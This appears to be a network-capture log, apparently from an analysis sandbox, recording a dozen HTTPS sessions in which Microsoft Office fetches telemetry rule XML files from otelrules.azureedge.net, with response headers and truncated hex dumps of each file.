EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:48 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:48 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:48 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 2537bc41-601e-0050-496a-3c2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164548Z-174c587ffdfx984chC1TEB676g000000034000000000hppb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:48 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:48 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:49 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 38a59648-401e-00ac-39a0-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164549Z-174c587ffdftjz9shC1TEBsh9800000002zg00000000kzvv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:49 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:49 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:49 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 74bdb417-d01e-00ad-341a-3de942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164549Z-178bfbc474bv7whqhC1NYC1fg400000004qg00000000ccxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:49 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:50 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:50 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3385e8da-101e-00a2-400c-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164550Z-178bfbc474bq2pr7hC1NYCkfgg00000004ug00000000cbv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:50 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:50 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:50 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c476523a-d01e-008e-6755-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164550Z-15b8b599d882l6clhC1TEBxd5c00000002zg00000000k1tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:50 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:50 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:51 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 23c3770b-601e-0084-293a-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164551Z-178bfbc474b7cbwqhC1NYC8z4n00000004qg000000005h02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:51 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:51 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:51 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 119e228c-001e-0046-1663-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164551Z-178bfbc474bnwsh4hC1NYC2ubs00000004q000000000k7xr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:51 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:51 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 5af92f63-c01e-00a1-4c0c-3d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164552Z-178bfbc474bpscmfhC1NYCfc2c00000003c0000000005071 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:52 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: ccc9fd57-201e-0096-041b-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164553Z-178bfbc474bwh9gmhC1NYCy3rs00000004s000000000ed2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:53 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:53 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:53 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164553Z-178bfbc474bpnd5vhC1NYC4vr400000004q000000000dmzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:53 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:53 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:53 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: cd6c36a4-201e-000c-237c-3b79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164553Z-178bfbc474bnwsh4hC1NYC2ubs00000004qg00000000hq0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:53 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:53 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 90d87084-c01e-000b-0215-3de255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164553Z-178bfbc474bgvl54hC1NYCsfuw00000004q000000000bccv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
